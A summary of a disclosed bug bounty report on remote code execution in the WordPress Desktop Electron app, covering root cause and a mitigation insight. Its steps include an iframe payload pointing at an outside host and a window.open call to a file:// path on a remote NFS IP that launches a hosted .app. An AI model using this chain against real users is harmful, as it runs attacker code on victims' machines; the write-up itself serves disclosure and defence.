# Remote Code Execution in Wordpress Desktop

WordPress Desktop passed file:// URLs to shell.openExternal, so a malicious page's window.open to a remote .app executed arbitrary code on the victim's machine.

- Payout: hidden
- Severity: critical
- Program: Automattic
- Found by: mattaustin
- Disclosed: 2018-04-14
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/301458
- Library page: https://bugbountylibrary.com/r/h1%3A301458
- Tags: area:os domain:desktop impact:rce kind:bounty platform:hackerone sev:critical tech:electron technique:source-review vuln:rce

**Target:** Electron desktop app external-link handler (shell.openExternal)
**Root cause:** The external-links handler passed any URL, including file:// paths, to shell.openExternal without restricting to http/https, so the OS launched local or remote executables.
**Steps:**
1. Create a WordPress page embedding an iframe to attacker HTML: `<center><iframe style="border: 0;" src="https://maustin.net/hax/wp_desktop/index.html" width="250" height="250"></iframe></center>`
2. Attacker HTML calls `window.open('file:///net/192.241.239.91/var/nfs/general/hack2.app')` (or a local `file:///Applications/Calculator.app`)
3. Host an AppleScript .app bundle on a readable NFS mount/share at that path
4. Invite a wordpress.com user to edit, or get them to view the site in the reader
5. When the victim views the page in the desktop app, the .app is fetched and executed
**How found:** Code review of the external-links handler at index.js#L38 revealed shell.openExternal received unvalidated URLs; the researcher reasoned that file:// URLs open in native apps, so a .app/exe would execute.
**Exploitation:** Attacker hosts a malicious .app on a remote NFS share, embeds an iframe in a WordPress page, and lures a wordpress.com user to view it in the desktop app; window.open to the file:// URL causes shell.openExternal to launch the remote executable as the current user.
**Insight:** In Electron apps, audit every shell.openExternal call site for scheme allowlisting; file:// (and remote NFS/SMB paths) turn a link handler into code execution, and iframes in user content are a delivery vector.